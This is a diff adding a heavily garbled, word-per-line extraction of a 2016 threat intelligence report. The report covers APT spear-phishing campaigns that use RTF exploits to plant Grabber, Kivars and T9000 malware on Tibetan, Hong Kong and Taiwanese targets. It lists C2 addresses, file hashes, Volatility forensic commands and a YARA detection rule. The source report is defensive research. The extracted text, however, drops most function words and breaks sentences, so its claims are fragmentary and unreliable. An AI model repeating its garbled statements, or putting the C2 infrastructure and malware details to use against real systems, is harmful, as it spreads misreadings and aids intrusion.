diff --git "a/2016.clean.txt" "b/2016.clean.txt" new file mode 100644--- /dev/null +++ "b/2016.clean.txt" @@ -0,0 +1,71457 @@ +ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement +ASERT +Threat +Intelligence +Report +2016- +Four- +Element +Sword +Engagement +Ongoing APT Targeting of Tibetan, Hong Kong, and Taiwanese Interests +Executive +Summary +this +paper, +reveal +recent +ongoing +activity +likely +associated +with +long- +running +threat +campaigns +presumed +existence +associated +malcode, +dubbed +Four +Element +Sword +Builder, +used +weaponize +documents +these +campaigns. +sample +twelve +different +targeted +exploitation +incidents +(taken +from +larger +activity) +described +along +discovered +connections +previously +documented +threat +campaigns. +Four +vulnerabilities +CVE- +2012- +0158, +CVE- +2012- +1856, +CVE- +2015- +1641, +CVE- +2015- +1770 +related +parsing +Microsoft +Rich +Text +File +(RTF) +documents +being +leveraged +advanced +threat +actors +launch +exploitation +campaigns +against +members +Tibetan +community, +along +with +journalists +human +rights +workers +Hong +Kong +Taiwan. +these +vulnerabilities +CVE- +2015- +1641 +been +typically +used +cybercrime +operations +starting +2015 +been +widely +observed +Advanced +Persistent +Threat +(APT) +actors +until +now. +vulnerabilities +being +used +deliver +Chinese- +oriented +malware +payloads +such +Grabber, +T9000, +Kivars, +PlugX, +Gh0StRAT +Agent.XST. +Analysis +malware +payloads, +malware +metadata +actor +group +Tactics, +Techniques +Procedures +(TTP +provides +useful +insight +into +malware, +targeting, +links +past +threat +actor +infrastructure. +Indicator +overlap +reveals +connection +prior +exploitation +campaigns +against +World +Uyghur +Congress +(WUC) +from +2009- +2014 +presented +2014 +Usenix +security +conference +[1]. +Additional +indicators +suggest +overlap +with +actors +behind +Operation +Shrouded +Crossbow +This +recent +activity +matches +pre- +existing +targeting +patterns +towards +Five +Poisons +organizations +individuals +associated +with +perceived +threats +Chinese +government +rule: +Uyghurs, +Tibetans, +Falun +Gong, +members +democracy +movement +advocates +independent +Taiwan. +This +targeting +scheme, +along +with +various +malware +artifacts +associated +metadata, +suggest +that +threat +actors +herein +have +Chinese +nexus. +Additional +malware +following +same +type +patterns +described +been +discovered +since +this +report +written, +suggests +that +these +generalized +threat +campaigns +using +weaponized +documents +ongoing. + Copyright 2016 Arbor Networks, Inc. All rights reserved. +ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement +Proprietary and Confidential Information of Arbor Networks, Inc. +ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement +Vulnerabilities: +CVE- +2012- +0158, +CVE- +2012- +1856, +CVE- +2015- +1641, +CVE- +2015- +1770 +Four +Element +Sword +builder +been +observed +utilize +exploit +code +against +four +distinct +vulnerabilities. +Each +malicious +document +created +builder +appears +leverage +three +four +these +vulnerabilities +same +document, +given +.DOC +extension. +Some +targets +warrant +newer +exploit +code, +while +others +running +dated +equipment +operating +systems +still +fall +victim +older +exploits. +Actors +will +typically +only +amount +force +necessary +accomplish +their +actions +objectives +will +typically +burn +0day +exploit +code +most +advanced +techniques +against +targets +that +require +them. +1. CVE- +2012- +0158: +This +vulnerability +affecting +ListView, +ListView2, +TreeView, +TreeView2 +ActiveX +controls +MSCOMCTL.OCX +Common +Controls +various +versions +Office +other +software. +CVE- +2012- +0158 +continues +extremely +popular +vulnerability, +used +various +threat +actors +years. +review +Virus +Total +reveals +activity +early +November +2010, +with +over +1000 +distinct +file +submissions. +fact +that +this +exploit +continues +bundled +into +contemporary +campaigns +testament +longevity, +although +actors +have +incorporated +more +recent +CVEs +into +their +toolkits +since +targets +likely +patching +older +vulnerabilities +either +system +replacement +through +ongoing +maintenance. +first +public +mention +this +being +used +targeted +exploitation +campaigns +April +2012 +with +additional +research +published +April +2012 +[4]. +Both +those +campaigns +demonstrate +targeting +Tibetan +community +also +reveal +interest +South +China +Sea. +While +early +actors +apparently +developed +their +exploit +code, +publicly +available +exploit +code +this +been +present +Metasploit +Framework +since +April +2012, +allowing +actor +since +then +easy +access +leverage +this +vulnerability +their +purposes. +2. CVE- +2012- +1856: +This +vulnerability +TabStrip +ActiveX +control +Common +Controls +MSCOMCTL.OCX +affects +various +versions +Office +other +software. +This +vulnerability +also +been +used +various +targeted +threat +campaigns, +although +detected +less +often +than +CVE- +2012- +0158. +Virus +Total +reveals +instances +this +exploit +code +February +2016, +with +first +submission +September +2013, +submission +year +later +September +2014, +then +substantial +increase +activity +starting +April +2015. +March +2016, +Virus +Total +reveals +instances +exploit +code +CVE- +2012- +1856, +indicating +substantial +increase +activity +and/or +detection. +Malicious +documents +containing +combination +exploit +code +CVE- +2012- +0158 +CVE- +2012- +1856 +were +observed +early +October +2012, +however +customers +VUPEN, +offensive +security +company, +were +aware +this +vulnerability +since +September +2010 +[5], +although +public +disclosure +made +until +August +2012 +nearly +years +later +when +Microsoft +patched +with +MS12- +060. +3. CVE- +2015- +1641: +vulnerability +involves +parsing +crafted +documents +affecting +variety +versions +Office. +Virus +Total +contains +instances +exploit +code +this +vulnerability, +with +first +submission +from +August +2015. +Seven +instances +this +vulnerability +appear +specific +mail +files +beginning +least +November +2015. +Several +these +mail +messages +appear +generated +actors +interested +commercial +financial +system +compromise. +exploit +this +vulnerability +being +sold +wild +$2000 +Mid- +July +2015 +posted +YouTube +July +2015 +[7]. + Copyright 2016 Arbor Networks, Inc. All rights reserved. +ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement +individuals +selling +exploit +code +time +appear +associated +with +cybercrime +operations +rather +than +nation- +state +targeted +threats. +Shortly +thereafter, +Sophos +wrote +about +malicious +documents +appearing +wild +most +examples +they +discuss +appear +related +financial +threat +campaigns, +such +possible +exploitation +campaign +dealing +with +Point +Sale +systems. +Later, +December +2015, +Microsoft +Word +Intruder +(MWI) +crimeware +incorporated +CVE- +2015- +1641 +into +arsenal +exploit +code +[9]. +event, +easy +access +exploit +code +underground +allows +targeted +threat +actors +means +easily +inexpensively +obtain +code +their +use. +some +cases +past, +dynamics +exploit +food +chain +meant +that +exploits +have +migrated +from +advanced +threat +actors +cybercriminals, +however +they +also +migrate +other +direction +depending +upon +situation +hand. +This +exploit +gotten +more +popular +and/or +detected +more +frequently +since +this +research +initiated +started. +March +2016, +instances +exploit +code +were +detected +Virus +Total. +4. CVE- +2015- +1770: +Microsoft +Office +2013 +2013 +allows +remote +attackers +execute +arbitrary +code +crafted +Office +document, +"Microsoft +Office +Uninitialized +Memory +Vulnerability" +[10]. +vulnerability +appears +ActiveX +control, +according +Microsoft +MS15- +bulletin +[11]. +Some +likely +Italian- +based +exploitation +activity +involving +uWarrior +Remote +Access +Trojan +observed +August +2015 +[12] +using +CVE- +2015- +1770 +other +older +exploit +code. +Other +instances +exploit +code +have +been +observed, +volume +increasing. +2016 +there +were +only +recognized +samples +this +exploit +code +found +Virus +Total. +March +number +tripled +128. +observed +samples, +first +submission +from +August +2015 +most +recent +from +March +2016. +exploit +apparently +CVE- +2015- +1770 +(plus +CVE- +2015- +1650) +being +sold +starting +September +2015 +group +calling +themselves +DaVinci +Coders +that +allows +threat +actor +embed +binary +their +choice +inside +Office +document +that +will +then +executed +when +Office +document +opened +unpatched +system. +Numerous +crafted +documents +containing +author +metadata +Confidential +Surfer +were +discovered +September +2015, +connected +this +release. +While +many +instances +exploit +code +hitting +CVE- +2015- +1170 +were +discovered, +underground +forum +chatter +suggests +that +exploit +quality +always +top- +notch. +quality +efficacy +these +particular +cybercrime- +oriented +exploits +appears +vary, +based +number +times +exploitation +appeared +fail +during +analysis. +Proprietary and Confidential Information of Arbor Networks, Inc. +ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement +Targeted Exploitation #1: Human Rights Lawyers & Tibetan Activist, +Grabber Malware +December +2015, +malicious +file +(with +.DOC +extension) +using +filename +Congress +sanctions +million +fund +Tibetans +Nepal +India.doc +mailed +targets +spear- +phishing +tactics. +file +hashes +included +section. +Exploit +code +targeting +four +distinct +detected +this +other +attachments +spearphish +messages +includes +four +vulnerable +elements: +CVE- +2012- +0158, +CVE- +2012- +1856, +CVE- +2015- +1641, +CVE- +2015- +1770. +Targeting for sample #1: Hong-Kong Based Legal aid Group and Tibetan Activist +email +sent +human +rights +associated +group +Hong +Kong +sent +exiled +Tibetan +activist. + Copyright 2016 Arbor Networks, Inc. All rights reserved. +ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement +body +document +about +Tibetan +community. +portion +reproduced +here: +Document +metadata +indicates +that +someone +using +name +bull +last +person +modify +save +document. +last +modification +date +December +2015 +same +mail +sent +targets. +Rendering +Tibetan +themed +document +with +vulnerable +instance +Office +results +injection +Grabber +(aka +EvilGrab) +malware +into +ctfmon.exe +process. +Grabber +provides +usual +Remote +Access +Trojan +(RAT) +capabilities +that +actor +would +want, +such +capability +remotely +control +target +system, +list +files, +download +execute, +user, +download +other +code +execute +commands +perform +lateral +movement, +exfiltrate +data, +etc. +those +seeking +more +background, +helpful +document +understand +full +capabilities +Grabber +written +Unit +2015 +[13]. +Inside +compromised +machine, +Process +Hacker +tool +allows +easily +observe +injected +process +ctfmon.exe +initiating +outbound +connection +180.169.28[.]58 +TCP/8080. +observe +User- +Agent +value +hardcoded +inside +Grabber +binary +discussed +Uncovering +Seven +Pointed +Dagger +document +from +Arbor +ASERT +(http://www.arbornetworks.com/blog/asert/wp- +Proprietary and Confidential Information of Arbor Networks, Inc. +ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement +content/uploads/2016/01/ASERT- +Threat- +Intelligence- +Brief- +2015- +Uncovering- +the- +Seven- +Point- +Dagger.pdf). +following +segment +memory +reveals +User- +Agent +activity +screenshot +below. +Past +analysis +suggests +that +Grabber +exfiltrates +data +from +client +encrypted +fashion. +This +always +case +however, +tests +revealed +interesting +occurence +when +system +exploited +second +time. +System +activity +that +occurred +during +initial +compromise +subsequently +exfiltrated +plaintext +after +second +comprise. +This +plaintext +allow +additional, +unexpected +visibility +network +security +apparatus +right +circumstances. +Below +tell- +tale +User- +Agent +value +including +unusual +series +bytes +prior +request +followed +exfiltration +system- +identifying +information. + Copyright 2016 Arbor Networks, Inc. All rights reserved. +ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement +Using Memory Forensics to Obtain a Higher Fidelity Malware Sample +original +sample +obfuscated +such +manner +that +less +useful +generating +analytical +insight, +especially +insight +generated +from +static +analysis. +order +obtain +cleaner +sample +will +need +extract +from +process +that +injected +into. +Volatility +memory +forensics +platform +help +with +this. +First, +DumpIt +tool +provided +Moonsols +software +package +used +generate +memory +dump +compromised +system. +memory +dump +taken +just +after +successful +exploitation, +indicated +observation +traffic +then +determine +compromised +process +(ctfmon.exe) +using +Volatility +plugin +pslist +this +example, +memory +dump +contained +file +EvilGrab2.raw: +python +vol.py +c:\stuff\EvilGrab2.raw +pslist +profile=Win7SP1x86 +pslist_take2.txt +malfind +plugin +help +discover +memory +regions +where +code +injection +occurred. +Running +malfind +with +python +vol.py +c:\stuff\EvilGrab2.raw +malfind +profile=Win7SP1x86 +malfind_run2.txt +provides +short +list +memory +regions +worthy +further +analysis. +particular, +malfind +provides +with +indicators +code +injection +memory +address +0x150000 +inside +ctfmon.exe, +where +observe +presence +header. +Other +headers +found +memory +space +ctfmon.exe +addresses +0x100000, +0x7ff80000 +0x7ffa0000. +extract +injected +code +with +dlldump +plugin +save +those +files +easier +analysis. +this +case, +memory +address +0x150000 +most +useful +location +extraction. +extract +injected +from +base +address +0x150000 +save +disk +with +following +command: +python +vol.py +c:\stuff\EvilGrab2.raw +dlldump +3596 +memory +base=0x150000 +profile=Win7SP1x86 +dump- +dir=ctfmon_dlldump_directory +Proprietary and Confidential Information of Arbor Networks, Inc. +ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement +Analysis +extracted +file +results +much +cleaner +(but +perfect) +instance +Grabber +that +allows +analyst +incident +responder +gain +greater +insight +into +specific +threat +activity. +example, +using +static +analysis +freshly +extracted +file, +observe +naming +scheme +inside +code +where +threat +actors +have +named +malware +Grabber +Additionally, +also +observe +(180.169.28[.]58) +mutex +string +(v2014- +v05) +inside +.data +section +binary. +additional +method +obtain +deeper +insight +Process +Hacker +find +memory +sections +within +ctfmon.exe +process +visually +analyze +malware +artifacts +seen +below). +analyst +could +also +save +memory +binary +file +opened +analyzed +IDA. +default +import +table +will +exist +some +insight +obtained. + Copyright 2016 Arbor Networks, Inc. All rights reserved. +ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement +example +insight +obtained +examining +strings +.data +section +with +reveals +some +text +strings +used +represent +keys +that +correspond +simple +letter +number +(such +) +that +used +when +keylogging +functionality +activated. +180.169.28.58:8080 +(spearphish): +7d4f8341b58602a17184bc5c07311e8b +(RTF): +c674ae90f686d831cffc223a55782a93 +(IEChecker.exe): +46c7d064a34c4e02bb2df56e0f8470c0 +SHA- +256: +(Spearphish): +bacc4edb5e775d2c957022ad8360946c19f9f75ef2709c1db2d6708d53ec2cd1 +SHA- +(RTF): +af2cc5bb8d97bf019280c80e2891103a8a1d5e5f8c6305b6f6c4dd83ec245a7d +SHA- +(IEChecker.exe): +7a200c4df99887991c638fe625d07a4a3fc2bdc887112437752b3df5c8da79b6 +Connections to Historical and Ongoing Threat Campaign Activity: Uyghur NGO, Tibetans +180.169.28[.]58 +TCP/8080 +located +Shanghai, +China. +This +address +been +associated +with +dynamic +provider, +resolved +goodnewspaper.f3322[.]org +xinxin20080628.3322[.]org +past. +Proprietary and Confidential Information of Arbor Networks, Inc. +ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement +Goodnewspaper[.]f3322.org +well +potentially +related +domains +goodnewspaper.3322[.]org +goodnewspaper.gicp[.]net +were +listed +threat +activity +paper +presented +Usenix +conference +2014 +entitled +Look +Targeted +Attacks +Through +Lense +[14] +that +analyzes +targeted +exploitation +campaigns +from +2009 +2013 +directed +particularly +World +Uyghur +Congress +(WUC) +NGO. +result +this +infrastructure +overlap, +connection +prior +activity +larger +historical +sense +targeting +against +Uyghur +interests. +addition +goodnewspaper +sites, +also +numerous +other +Uyghur +themed +sites +associated +address: + Copyright 2016 Arbor Networks, Inc. All rights reserved. +ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement +xinxin20080628 +hostname +portion +domain +names +also +interesting, +mentioned +2009 +report +secure +[15] +associated +with +different +dynamic +provider, +gicp.net. +domain +that +case +xinxin20080628.gicp[.]net +instead +xinxin20080628.3322[.]org +observed +here. +xinxin20080628.3322[.]org +domain +only +resolved +very +short +period +approximately +four +hours +April +2014. +While +course +possible +that +this +domain +misdirection +designed +point +analysts +wrong +direction, +also +possible +that +actor +using +dynamic +client/script +made +mistake +temporarly +resolved +domain, +need +short- +term +basis +test +perhaps). +this +older +artifact, +there +could +other +explanations +however +clue +worth +noting +that +modern +activity +previously +documented +campaigns +their +TTPs +threat +actors. +master +list +provided +Citizen +(released +conjunction +with +their +reporting +various +advanced +threat +activity) +lists +domain +xinxin20080628[.]gicp.net +November +2010 +[16] +address +being +used +that +time: +2010- + xinxin20080628.gicp[.]net + 114.60.106[.]156 +This +domain +also +included +aforementioned +USENIX +paper. +Other +campaign +activities +involving +xinxin20080628.gicp[.]net +domain +were +profiled +Communities +Risk +[17] +reveals +activity +2010 +involving +executables +delivered +target. +payload +that +case +IEXPL0RE +RAT, +also +known +C0d0s0. +IEXPL0RE +campain +discussed +therein +involved +targeting +Tibetan +Chinese +communities. +Proprietary and Confidential Information of Arbor Networks, Inc. +ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement +connection +prior +threat +campaigns +suggests +that +campaign +activity +continues +continues +evolve +exploit +code +becomes +available. +substantial +amount +activity +surrounds +domain +xinxin20080628.gicp[.]net +that +interest +expanding +potentially +related +context. +Those +interested +further +explorations +threat +indicators +from +past +activity +benefit +from +examining +malware +such +malicious +targeting +CVE- +2010- +3333 +(SHA- +256: +14fcfccb0ae8988f95924256a38477fcc5c2c213d8a55e5a83c8c1bb67a4b6d4). +This +malicious +generates +network +traffic +xinxin20080628.gicp[.]net +humanbeing2009.gicp[.]net. +Targeting +Tibetan +groups +with +malicious +files +exploitation +CVE- +2010- +3333 +also +mentioned +aforementioned +Communities +Risk +document. +Another +interesting +domain +overlap +concerns +malware +observed +2013 +dubbed +BLame, +also +known +Mgbot +Mgmbot +discussed +page +presentation +given +Virus +Bulletin +2013 +[18]. +These +slides +describe +goodnewspaper.gicp[.]net +goodnewspaper.3322[.]org +domains +version +malware +payload, +first +observed +July +2012. +This +incident +interesting +because +malcode +hidden +such +manner +appear +encoding +library +[19]. +Targeted Exploitation #2: Attempted Human Rights Target, Grabber +Malware +While +there +other +instances +exploitation +taking +place +crafted +documents +using +same +four +only +matching +SSDEEP +hash +(6144:NwOD0nTHfnxBl7p01yDn8FJD1O6JN0MrvVburdr3QM5o1Zx0a4VgLjv9uM+yb3Hx:ZbqQM5oBfv9uMt5y +BT5yL) +prior +sample +discussed +Targeted +Exploitation +spear +phishing +mail +this +second +case +appears +have +been +sent +wrong +target, +apparent +error +targets +email +address +observed +mail +address +entered +using +number +instead +character. +message +follows: + Copyright 2016 Arbor Networks, Inc. All rights reserved. +ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement +mail +sent +Thursday +2015 +19:08:25 ++0800 +(HKT) +submitted +Virus +Total +from +Taiwan. +Chinese +language +text +mail +message, +when +translated +English, +mentions +meteor +shower +Hong +Kong +Space +Museum. +This +different +approach +than +threat +actors +providing +usual +geopolitical +content, +perhaps +intent +provide +some +item +that +considered +personally +interesting +target. +attachment +filename +!12 + 2016 +mm.doc +roughly +translates +from +Chinese +About +2016 +astronomical +phenomenon +missed +Word +document +metadata, +left, +shows +now- +familiar +timeframe +December +2015 +name +webAdmin +document +author +modifier. +Depending +upon +generation +scenario +play, +such +document +metadata +useful, +being +included +inside +this +report +provide +potential +indicators +that +help +track +down +other +activity. +Proprietary and Confidential Information of Arbor Networks, Inc. +ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement +original +text +document +rough +English +translation +follows: +final +payload +this +document +exploit +also +Grabber +same +sample +used +Targeted +Exploitation +Therefore, +this +sample +uses +same +Targeted +Exploitation +other +samples +profiled +this +set. +180.169.28.58:8080 +Filename: +!12 + 2016 +mm.doc +(spearphish): +b6e22968461bfb2934c556fc44d0baf0 +(RTF): +74a4fe17dc7101dbb2bb8f0c41069057 +(~tmp.doc): +fcfe3867e4fa17d52c51235cf68a86c2 + Copyright 2016 Arbor Networks, Inc. All rights reserved. +ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement +(IEChecker.exe): +46c7d064a34c4e02bb2df56e0f8470c0 +SHA- +(spearphish): +4f52292a2136eb7f9538230ae54a323c518fa44cf6de5d10ca7a04ecb6a77872 +SHA- +(RTF): +0683fac0b564fe5d2096e207b374a238a811e67b87856fc19bdf8eb3d6f76b49 +SHA- +(~tmp.doc): +60ef10cce9974cdc8a453d8fdd8ddf0cad49c6f07d2c4d095ff483998685b421 +SHA- +(IEChecker.exe): +7a200c4df99887991c638fe625d07a4a3fc2bdc887112437752b3df5c8da79b6 +Connections to Historical and Ongoing Threat Campaign Activity +analysis +service +cryptam.com +contains +this +particular +malware +sample +[20] +using +YARA +classify +sample +using +apt_north_beaver_wmonder_vidgrab +name +north +beaver +doesn +appear +related +publicly +known +campaign. +Vidgrab +however +another +name +Grabber/Evilgrab +malware. +presence +wmonder +YARA +rule +most +likely +older +Grabber +domain +webmonder.gicp[.]net, +mentioned +Trend +Micro +their +2013 +Report +Targeted +Attack +Campaigns +[21]. +Documents +associated +with +classifier +apt_north_beaver_wmonder_vidgrab +have +been +present +since +least +2013. +possible +that +there +relationship +between +these +earlier +malicious +documents +recently +observed +activity, +that +recent +documents +simply +reflection +continuation +prior +campaign +activity. +Targeted Exploitation #3: Asian Press, Kivars Keylogger Payload +2016 +spearphish +mail +sent +target. +subject +this +message +[BULK] +TIBET, +BELOVED +NATION +WILL +NEVER +FORGET +this +case, +actors +have +embedded +malware +inside +file +have +positioned +file +needing +translation. +known +common +authors +format +such +case, +however +does +appear +suspicious. +Proprietary and Confidential Information of Arbor Networks, Inc. +ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement +specific +target +this +case +appears +individual +working +with +media +publications +press +Hong +Kong. +company +associated +with +this +individual +been +reported +heavily +influenced +Chinese +Government. +archive +contains +file +named +brochure. +(note +space) +which +actually +RTF. +Opening +brochure +.doc +vulnerable +environment +(Windows +Office +2013, +unpatched) +results +display +file +that +appears +corrupted +and/or +composed +garbage +characters, +observed +left. +Triggering +final +payload +results +connection +103.240.203[.]232:8080. +This +address +located +Hong +Kong +(in- +country +target). +When +malware +initiates +outbound +connection +server, +server +responds +with +following +data: +This +information +useful +network- +based +detection. +During +analysis, +several +files +were +created +during +exploitation, +including +tnyjs.dll, +uhfx.dat, +uhfx.dll, +yxsrhsxhxdbldkc.dat. +These +were +created +Windows/System32 +folder. +Attempting +open +resulted +helpful +pop- +message +that +reveals +string +that +correlates +this +sample +with +instances +Kivars +keylogger +[22]. +string +Q:\Projects\Br2012\Release\svc.pdb. +Analysis +this +sample +reveals +that +designed +service, +which +matches +design +Kivars. + Copyright 2016 Arbor Networks, Inc. All rights reserved. +ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement +Connections to Historical and Ongoing Threat Campaign Activity: Shrouded Crossbow +Several +additional +samples +Kivars +malware +were +discovered +that +might +have +overlap +with +this +particular +campaign. +overlap +circumstantial, +since +only +common +elements +have +Kivars +itself, +infrastructure +also +being +geolocated +Hong +Kong. +Kivars +appears +somewhat +rare, +with +only +limited +amount +samples +appearing +ASERT +malware +analysis +repository. +currently +unknown +malware +family +closely +held, +shared +among +numerous +actor +groups. +Pivoting +import +hash +value +malware +payload +reveals +potentially +related +sample, +unnamed +keylogger +malware +analyzed +ASERT +2016 +with +a0dc5723d3e20e93b48a960b31c984c0 +SHA- +hash +185fc01ec8adbaa94da741c4c1cf1b83185ae63899f14ce9949553c5dac3ecf6. +This +sample +connected +same +akm.epac[.]to +TCP/8088, +resolving +analysis +time +103.240.203[.]232, +address +Hong +Kong. +domain +akm.epac[.]to +began +resolving +this +address +January +2016 +domain +gugehotel[.]cn +began +resolving +this +address +February +2016 +continues +resolve +this +writing +March +2016. +gugehotel +domain +also +shows +resolution +activity +between +2014 +2015 +address +107.183.86[.] +that +reveal +large +number +passive +resolutions +(570), +which +likely +disqualifies +address +follow- +research. +potentially +interesting +note +however +that +many +passive +resolutions +this +domain +have +suffix +domain +cos- +china.com. +This +related +China +Operating +System +(COS) +which +Chinese- +based +operating +system +designed +compete +with +Android +[23]. +Pivoting +aspects +this +sample +returns +other +potentially +interesting +samples: +937c13f5915a103aec8d28bdec7cc769 +uses +203.160.247[.]21:443 +o ASN +10126 +203.160.247.21 +CHTI- +Taiwan +Internet +Gateway,TW +o This +address +also +found +Kivars +service +binary +(MD5: +19b2ed8ab09a43151c9951ff0432a861, +SHA- +256: +9d69221584a5c6f8147479282eae3017c2884ae5138d3b910c36a2a38039c776) +MD5: +b2ae8c02163dcee142afe71188914321 +uses +wins.microsoftmse[.]com +o This +sample +submitted +Virus +Total +October +2014 +from +Taiwan. +Samples +discovered +triggering +detection +Kivars, +which +been +written +about +Trend +2014 +[24]. +particular +sample +first +submitted +Virus +Total +2013 +discovered +Yara +retrohunt, +following +properties: +Proprietary and Confidential Information of Arbor Networks, Inc. +ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement +MD5: +0566703ccda6c60816ef1d8d917aa7b0 +SHA- +256: +766e0c75bb13986f6a18f9f6af422dbda8c6717becc9b02cc4046943a960d21f +This +sample +once +connected +adc.microsoftmse[.]com +(122.10.9[.]121), +resolving +address +Hong +Kong. +This +resolution +only +appears +have +taken +place +2013 +associated +with +bifrose +Trojan +also +correlates +with +Shrouded +Crossbow +activity. +Numerous +other +domains +resolving +this +were +also +observed +part +Shrouded +Crossbow +infrastructure. +domain +microsoftmse[.]com +currently +points +Microsoft +address +space, +used +threat +actors +past. +Further +details +Operation +Shrouded +Crossbow +were +published +Trend +Micro +December +2015 +[22] +reveals +Bifrose +Kivars +Trojans +relationship +between +Kivars +appears +have +used +least +some +parts +Bifrose +code. +[25] +Submitting +Virus +Total +results +predictable +scan +results, +pivoting +import +hash +results +discovery +several +more +samples +Kivars +service. +Scanning +Virus +Total +indicates +numerous +recent +detections +Kivars. +Many +discovered +Kivars +service +files +have +been +submitted +January +February +2016, +indicating +wave +activity +and/or +detection. +YARA +rule +detect +instances +Kivars +running +service +included +herein. +Service +files +distinct +analyzed +directly, +scanning +memory +could +also +useful +event +that +Kivars +becomes +more +highly +obfuscated. +rule +kivars_service +meta: +description +"Detects +instances +Kivars +malware +when +installed +service" +author +"cwilson@arbor.net" +SHA- +"443d24d719dec79a2e1be682943795b617064d86f2ebaec7975978f0b1f6950d" +SHA- +"44439e2ae675c548ad193aa67baa8e6abff5cc60c8a4c843a5c9f0c13ffec2d8" +SHA- +"74ed059519573a393aa7562e2a2afaf046cf872ea51f708a22b58b85c98718a8" +SHA- +"80748362762996d4b23f8d4e55d2ef8ca2689b84cc0b5984f420afbb73acad1f" +SHA- +"9ba14273bfdd4a4b192c625d900b29e1fc3c8673154d3b4c4c3202109e918c8d" +SHA- +"fba3cd920165b47cb39f3c970b8157b4e776cc062c74579a252d8dd2874b2e6b" +strings: +"\\Projects\\Br2012\\Release\\svc.pdb" +"This +flag" +"svc.dll" +"ServiceMain" +"winsta0" +condition: + Copyright 2016 Arbor Networks, Inc. All rights reserved. +ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement +uint16(0) +0x5A4D +filesize +1000000 +(all +($s*)) +Interestingly, +these +Kivars +service +files +listed +YARA +rule +have +same +compilation +date +2013- +20@00:26:30. +Some +detection +that +appears +reasonably +accurate +includes +BKDR_KIVARS.SMV0 +(Trend) +Win32/Agent.XUI +Trojan +(ESET). +akm.epac[.]to +103.240.203.232:8080 +(brochure +.rar): +c8c6365bf21d947e8e986d4766a9fc16 +(brochure +.doc): +835fee42132feebe9b3231297e5e71a8 +(binary): +905d1cd328c8cfc378fb00bfa38f0427 +Imphash +(binary): +fea5902afa6e504a798c73a09b83df5e +(tnyjs.dll): +5bc954d76342d2860192398f186f3310 +(uhfx.dll): +6db7ad23186f445c410f59a41e7f8ac5 +SHA- +hash +(brochure +.rar): +e8af4f3504b0e1cf165dfd1070342b831fd7b5b45da94c6f2a25c28dd6eb3c4a +SHA- +hash +(brochure +.doc): +0ed325b841a2beb446c5e9a6825deaa021651c8b627aa7147d89edde05af6598 +SHA- +(binary): +18219708781208889af05842ea6d563e56910424ec97ef8f695c0c7a82610a23 +SHA- +(tnyjs.dll): +5676c0b2d3c139dbef5bafa0184576bd1a4ccbd3f7d40b4a6a099a1e61bc2a39 +SHA- +(uhfx.dll): +a46905252567ed2fe17a407d8ae14036fde180f0a42756304109f34d1e8ad872 +Targeted Exploitation #4: 64 Bit Kivars Keylogger +Targeting +available +this +sample, +however +first +uploaded +from +Korea +first +observed +ASERT +January +2016. +instance +Kivars +malware +dropped +from +this +exploitation +into +AppData/Local/Temp +directory +with +.tmp +file +extension. +bait/distraction +document +displayed +very +similar +document +observed +previously +discussed +Kivars +sample: +Proprietary and Confidential Information of Arbor Networks, Inc. +ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement +file +contains +following +metadata: +date +12/30/2015 +fairly +close +timeframe +observed +within +other +malware +sample +spearphish +metadata. +author +last +modified +value +which +observed +again +while +analyzing +malware +samples +this +report. +Trend +Micro +profiled +version +Kivars +2014 +[25]. +This +version +will +execute +environment, +therefore +possible +that +additional +targeting +occurred +order +scope +victim +machine. +compilation +dates +were +faked, +this +sample +compiled +back +November +2013. +IOCs +akm.epac[.]to +103.240.203[.]232 +(RTF): +ba77d50870756d247a580b8a3a56722c + Copyright 2016 Arbor Networks, Inc. All rights reserved. +ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement +(dropper): +1c4e3c4df094c32faf0c30f6a613c63e +(payload): +89e4cff1496aafa0776619729a75d4ab +(payload): +f25634becd08d5298db1f3014e477e00 +SHA- +(RTF): +ad251fd7427c0334f34aabe100a216b4af48b1ab4a01705f44b3421edd0be6ae +SHA- +(dropper): +f6bc895b36446d172c4a99be2587376b48fa3b1b0f6150eb8ab83f649f7b8bc6 +SHA256 +(payload): +8dfcae0eb358f48fc30163e58c75823117f6fd501a48f3dfeb19a06d1c21aa51 +SHA256 +(payload): +f8a18e8b8e6606617e3a63ee5a3050a1b30361703c9a7d9e2d5cc94090c9907b +Targeted Exploitation #5: +Sixteen Drops of Kadam Empowerment +T9000 Keylogger +This +document +submitted +2015- +09:27:24 +Sixteen +Drops +Kadam +Empowement.doc +(note +misspelling) +from +India. +This +instance +threat +activity +borrows +theme +content +from +page +posted +Central +Tibetan +Administration +that +talks +about +spiritual +ceremony +undertaken +Dalai +Lama +[26]. +interesting +note +that +threat +actors +wasted +time +this +particular +exploitation +attempt, +since +post +made +December +spearphish +mail +sent +same +day. +Proprietary and Confidential Information of Arbor Networks, Inc. +ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement +When +this +sample +opened +exploitation +commences +(leveraging +CVE- +2012- +0158 +CVE- +2015- +1641), +files +dropped +into +AppData/Local/Temp +directory +~tmp +(decoy +document) +E1BC.tmp +(T9000 +keylogger +executable). +decoy +document +metadata +indicates +that +created +Windows +User +last +modified +comma +decoy +document +several +pages +long +starts +such: +Opening +sample +helpfully +presents +with +dialog +based +information +left +inside +binary +that +suggests +sample +T9000 +keylogger: +naming +scheme +potentially +interesting. +only +does +identify +software +project +T9000, +also +unique +strings +related +N_Inst_User_M1 +N_Inst_User32 +potential +presence +directory +release +code. +These +strings +helpful +discover +other +malware +written +same +development +environment. + 